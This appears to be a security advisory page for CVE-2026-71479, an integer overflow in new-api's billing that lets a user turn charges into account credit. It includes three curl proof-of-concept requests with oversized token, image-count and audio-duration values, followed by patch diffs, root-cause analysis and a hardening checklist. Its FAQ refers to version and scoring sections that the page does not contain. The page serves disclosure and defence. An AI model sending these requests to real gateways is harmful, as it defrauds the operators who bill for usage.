SECURITY ADVISORY / 01

CVE-2026-71479 Exploit & Vulnerability Analysis

Complete CVE-2026-71479 security advisory with proof of concept (PoC), exploit details, and patch analysis for new-api.

new-api products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

A low-privileged user with an active subscription or positive account balance can craft a request that injects unbounded token counts, image generation parameters, or audio durations into the billing calculation pipeline. The attacker observes their account balance flip from negative charge to positive credit; upstream payment processors reflect fraudulent refunds.

## Attack path 1: Unbounded max_tokens in chat completion
curl -X POST https://gateway.newapi.local/v1/chat/completions \
  -H "Authorization: Bearer sk-user-token" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "gpt-4",
    "messages": [{"role": "user", "content": "hello"}],
    "max_tokens": 2147483647
  }'

## Attack path 2: Malicious image n parameter overflow
curl -X POST https://gateway.newapi.local/v1/images/generations \
  -H "Authorization: Bearer sk-user-token" \
  -F "prompt=a cat" \
  -F "n=18446744073686646784"

## Attack path 3: Unbounded audio duration in billing metadata
curl -X POST https://gateway.newapi.local/v1/audio/transcriptions \
  -H "Authorization: Bearer sk-user-token" \
  -F "[email protected]" \
  -F "durationSeconds=999999999"

When the request reaches the quota calculation stage in service/tool_billing.go or relay/helper/price.go, the oversized parameter is cast directly to int without bounds checking. The floating-point multiplication (maxTokens * quotaPerUnit * groupRatio) overflows, wrapping to a negative integer. The billing system records a negative charge—interpreted as account credit—and the attacker's balance increases.

What the Patch Did

Before

// service/tool_billing.go, lines 52, 73
quota := int(math.Round(totalPrice * common.QuotaPerUnit * groupRatio))
quota := int(math.Round(price * common.QuotaPerUnit * groupRatio))

// relay/helper/valid_request.go
// No centralized validation for max_tokens across all request types
imageRequest.N = common.GetPointer(uint(common.String2Int(formData.Get("n"))))

// pkg/billingexpr/round.go
func QuotaRound(f float64) int {
    return int(math.Round(f))
}

// relay/helper/price.go, lines 115, 120
preConsumedQuota = int(float64(preConsumedTokens) * ratio)
preConsumedQuota = int(modelPrice * common.QuotaPerUnit * groupRatioInfo.GroupRatio)

After

// service/tool_billing.go
quota := common.QuotaFromFloat(math.Round(totalPrice * common.QuotaPerUnit * groupRatio))
quota := common.QuotaFromFloat(math.Round(price * common.QuotaPerUnit * groupRatio))

// relay/helper/valid_request.go — new centralized validator
const maxTokensLimit = math.MaxInt32 / 2

func exceedsMaxTokensLimit(values ...*uint) bool {
    for _, v := range values {
        if lo.FromPtrOr(v, uint(0)) > maxTokensLimit {
            return true
        }
    }
    return false
}

// Applied across all request types:
if exceedsMaxTokensLimit(request.MaxOutputTokens) {
    return nil, errors.New("max_output_tokens is invalid")
}

// pkg/billingexpr/round.go
func QuotaRound(f float64) int {
    r := math.Round(f)
    if math.IsNaN(r) {
        return 0
    }
    if r >= math.MaxInt32 {
        return math.MaxInt32
    }
    if r <= math.MinInt32 {
        return math.MinInt32
    }
    return int(r)
}

// relay/helper/price.go
preConsumedQuota = common.QuotaFromFloat(float64(preConsumedTokens) * ratio)
preConsumedQuota = common.QuotaFromFloat(modelPrice * common.QuotaPerUnit * groupRatioInfo.GroupRatio)

The patch introduces three layered defences: (1) input validation via exceedsMaxTokensLimit() that rejects token/duration/count values exceeding math.MaxInt32 / 2 before they enter calculations; (2) a hardened conversion function common.QuotaFromFloat() that clamps float-to-int casts to the safe range [math.MinInt32, math.MaxInt32] and handles NaN; (3) specialized validators for edge-case parameters (audio duration in relay/channel/openai/audio.go, image generation count n in relay/helper/valid_request.go).

Root Cause

CWE-190: Integer Overflow or Wraparound. User-controlled parameters (max_tokens, max_completion_tokens, maxOutputTokens, n, durationSeconds) flow from the HTTP request body or form data into arithmetic expressions in relay/helper/price.go, service/tool_billing.go, and relay/channel/openai/audio.go. These parameters are parsed as integers or floats, multiplied by fixed constants (common.QuotaPerUnit, common.GroupRatio), and cast directly to int via int(math.Round(...)). When the multiplication result exceeds math.MaxInt32 (2,147,483,647), the cast causes wraparound, producing a negative integer—which the billing ledger misinterprets as a credit.

The trust boundary violation occurs at the HTTP request parsing stage: the developer assumed downstream cast operations would handle bounds implicitly, rather than validating inputs upfront or using safe conversion primitives.

Why It Works

The load-bearing line is the call to common.QuotaFromFloat() (or the inline clamping in pkg/billingexpr/round.go). Without it, a 64-bit float multiplication can produce a value like 9.22e+18, which silently wraps to a large negative int32 when cast. With the clamp, the function returns math.MaxInt32, capping the charge to a safe upper bound.

The other lines matter for defence-in-depth: the input validation in exceedsMaxTokensLimit() prevents oversized tokens from entering the calculation pipeline at all, reducing the surface area of downstream converters. The NaN checks in QuotaRound() and the !(ratio > 0) || math.IsInf(ratio, 1) guard in types/price_data.go catch floating-point special values that can poison calculations. Were any single layer removed, an attacker could still craft inputs that trigger wraparound—either through a corner-case ratio injection or a direct parameter oversupply.

Hardening Checklist

  • Implement input validation guards before arithmetic: Use a bounded constant (e.g., MaxInt32 / 2) and reject any user-supplied token count, duration, or multiplier that exceeds it. Check this immediately after parsing, not after the calculation.
  • Use saturating cast functions for all float-to-int conversions in financial code: Never use bare int(float64) on user-influenced values; wrap conversions in a function that checks math.IsNaN(), math.IsInf(), and clamps to [math.MinInt32, math.MaxInt32].
  • Audit all billing-path multiplications for user parameters: Grep for * in price, quota, charge calculation functions and verify each multiplicand is either a constant or validated input.
  • Add test cases for integer overflow scenarios: Include tests with math.MaxInt32, math.MaxInt32 + 1, and very large parsed values (e.g., "18446744073686646784") to ensure they are rejected or safely saturated.
  • Validate special floating-point values explicitly: Before using a float in financial calculations, check math.IsNaN() and math.IsInf() and treat them as error conditions, not zeros.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-71479

Frequently asked questions about CVE-2026-71479

What is CVE-2026-71479?

CVE-2026-71479 is a security vulnerability identified in new-api. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-71479?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-71479. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-71479 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting new-api. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-71479?

CVE-2026-71479 affects new-api. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-71479?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for new-api.

What is the CVSS score for CVE-2026-71479?

The severity rating and CVSS scoring for CVE-2026-71479 affecting new-api is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.